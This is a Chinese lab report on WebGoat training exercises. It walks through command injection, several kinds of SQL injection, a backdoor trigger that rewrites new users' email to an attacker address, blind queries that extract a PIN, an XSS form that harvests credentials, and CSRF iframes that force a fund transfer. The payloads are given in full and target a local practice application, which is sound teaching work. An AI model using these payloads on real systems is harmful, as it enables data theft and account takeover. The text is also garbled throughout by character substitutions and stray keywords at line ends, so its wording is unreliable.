实验内容web
本实践的目标理解经常使用网络攻击技术的基本原理,作很多于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。算法
实验后回答问题sql
(1)SQL注入攻击原理,如何防护数据库
SQL注入指的是发生在web应用对后台数据库查询语句处理存在的安全漏洞,主要针对目标是数据库,通常会将攻击者的输入的具备权限功能的代码,当作正常信息上传至数据库,致使其发生做用。后端
防护办法:浏览器
限制输入字符,尽量使其输入内容是合乎使用规范的,同时能够依靠更多复合型的限制方法,或者过滤,才有可能起做用。安全
(2)XSS攻击的原理,如何防护cookie
跨站脚本攻击容许恶意使用者将程序代码注入到网页上,这类攻击通常包含了HTML语言以及目标主机使用的脚本语言其余使用者在浏览网页时就会受到不一样程度的影响。网络
防护方法:函数
一样是上传信息产生的影响,所以一样须要对上传信息进行过滤,或者将其内部数据在上传是进行注释化或自动加引号。
(3)CSRF攻击原理,如何防护
其原理主要是跨站伪造,利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,则脚本伪造受害者发送了一个合法请求。
防护方法:
一方面对于使用者要有良好的用网意识,另外一方面经过referer、token或者验证码来检测用户提交,此外要对于cookie进行严格管控。
实验过程
1、webgoat配置(前提安装配置好1.8版本jdk)
(1)下载7.0.1版本的webgoat
下载完成以后,放在kali主目录下
运行
当出现Starting ProtocolHandler ["http-bio-8080"]时,则能够打开浏览器进行试验
(2)在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面
下方为两组默认的用户名和密码:
登录成功
2、实验一,SQL
(1)命令注入(Command Injection)
本操做原理为经过在正常的参数提交过程当中,添加恶意的代码,执行目标主机系统命令
在acesscontrolmartix.help这一栏右键选择插入审查元素,后面添加命令语句“&netstat -按& ipconfig”,点击view运行。
攻击成功
(2)数字型注入(Numeric SQL Injection)
与命令注入相似,不过是针对station字段,在其中注入特殊字符,使其组合成新的sql语句
如图所示,须要咱们经过数字注入,使其可查询Columbia的天气信息,因而在选择框中,选择Colombia,右键,选择插入审查元素,在value=“101”以后添加 or 1=1。按下GO!
(3)日志欺骗(Log Spoofing)
日志欺骗的目的主要是用于攻击者清理其网络攻击的痕迹,经过在用户名输入框中向上传数据的方式,修改目标日志文件。
在用户名一栏中输入webgoat Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不会换行。则咱们在语句中加入换行符:
webgoat%0d%0aLogin Succeeded for username: admin
显示成功,并接受任意一个用户名。
(4)LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)
使用 SQL 注入绕过认证
以用户Neville登陆,仍是以永真式的形式输入密码Smith' or 1=1 --
但因为该网页限制了密码输入长度,所以咱们须要先插入审查元素,调整最大密码输入长度。
这样能够正常输入密码。
而且登录成功
(5)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理:经过登陆普通权限用户帐号,并使用对其权限序号进行数字修改注入。
首先使用Larry的帐号进行登陆
密码也是Larry,不用找了
登陆后能够看到我的信息,点击view profile,能够查看员工档案。
咱们能够看到,他的管理者序号为102,老板应该是工资最高的,因此为了把老板排到第一个,所以,尝试去修改其为101,看结果如何。
添加审查元素 101 or 1=1 order by salary desc
desc表示降序序列。
此时Larry的信息已经变成了Neville的信息,甚至能够点击editProfile,去修改信息
(6)字符串注入(String SQL Injection)
在文本框里输入 SELECT * FROM user_data WHERE last_name = '?'
直接查找数据库中字符串
正常查询只有simith的数据
将 '' 中
提早闭合,插入永真式而后注释掉后面的内容就能够了,因此输入 Smith' or 1=1 --
注入成功后,即可看到全部员工的信息:
(7)数据库后门
数据库一般做为一个Web应用程序的后端来使用,所以,咱们能够针对其,插入后门程序,利用查询的脆弱性建立触发器,该触发器在建立新用户时,将每一个新用户的Email地址设置为攻击者的地址。
输入101
能够得到Larry的信息
输入注入语句 101; update employee set salary=10000
能够看到Larry薪水被改了
下一步设置触发器
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
攻击成功。
(8)数字型盲注入(Blind Numeric SQL Injection)
数字盲选则是只能经过条件的“真”和“假”进行判断的状况。必须充分利用查询语句,构造子查询语句,进行试探,偏向于暴力算法破解。
咱们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int型。输入找到的数值并提交
输入101 AND 1=1
返回帐号有效
输入101 AND 1=2
能够看到1=2永假,则返回帐号无效
经过下面这条语句,来尝试查询pin值是否大于10000
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如图。小于10000则大大减少了搜索范围
利用二分法再次尝试
小于5000,最后不断调整,能够获得结果2364
(9)字符串型盲注入(Blind String SQL Injection)
同理,是对于字符串的真假比较
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
一样能够利用二分法,逐一肯定该字符串的内容
最后能够,得到目标名称Jill
3、XSS简单应用
(1)使用 XSS 钓鱼(Phishing with XSS)
首先建立一个form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
目标共两步骤,目标将信息填写至我所设置的用户和密码文本框内,经过读取脚本的方式,发送给我
以下为一个带用户名和密码输入框的表格
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
这段脚本语言的代码会读取咱们在表单上输入的用户名和密码信息
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
攻击成功
(2)存储型XSS攻击(Stored XSS Attacks)
常见于论坛等留言平台,用户留言的时候能够输入一段JavaScript脚本,就会被保存在数据库中。由于是留言,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
在title中任意输入字符,留言板中输入<script>alert("why did you say that name!");</script>
点击生成的链接,会显示输入脚本的显示文字功能,同理,其余功能也可已实现。
(3)反射型XSS攻击(Reflected XSS Attacks)
攻击者可使用攻击脚本建立一个URL,将其发布到另外一个网站、经过电子邮件或其余方式让受害者点击它触发。
输入代码<script>alert("i am superman!");</script>
同理,点击链接,显示js语句函数功能
4、绕过 CSRF 确认(CSRF Prompt By‐Pass)
跨站点请求伪造,欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令,提示用户确认或取消命令可能听起来像一个解决方案。
首先查看页面右侧Parameters中的src和menu值分别为280和1471017872:
在title框中输入任意内容,message框中输入代码
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
生成链接
成功,her name is masa,too
实验心得
本次实验因为是基于一个教程,学习了更多的,针对不一样功能,和不一样上网行为的网络攻击手段,偏向于原理,但任对我有很大的帮助,让我明白了,网络攻击并非多么神秘,只是利用合理的程序设计缺陷运行其余功能罢了。且对于数据库语言和js语言的理解还须要不断加深。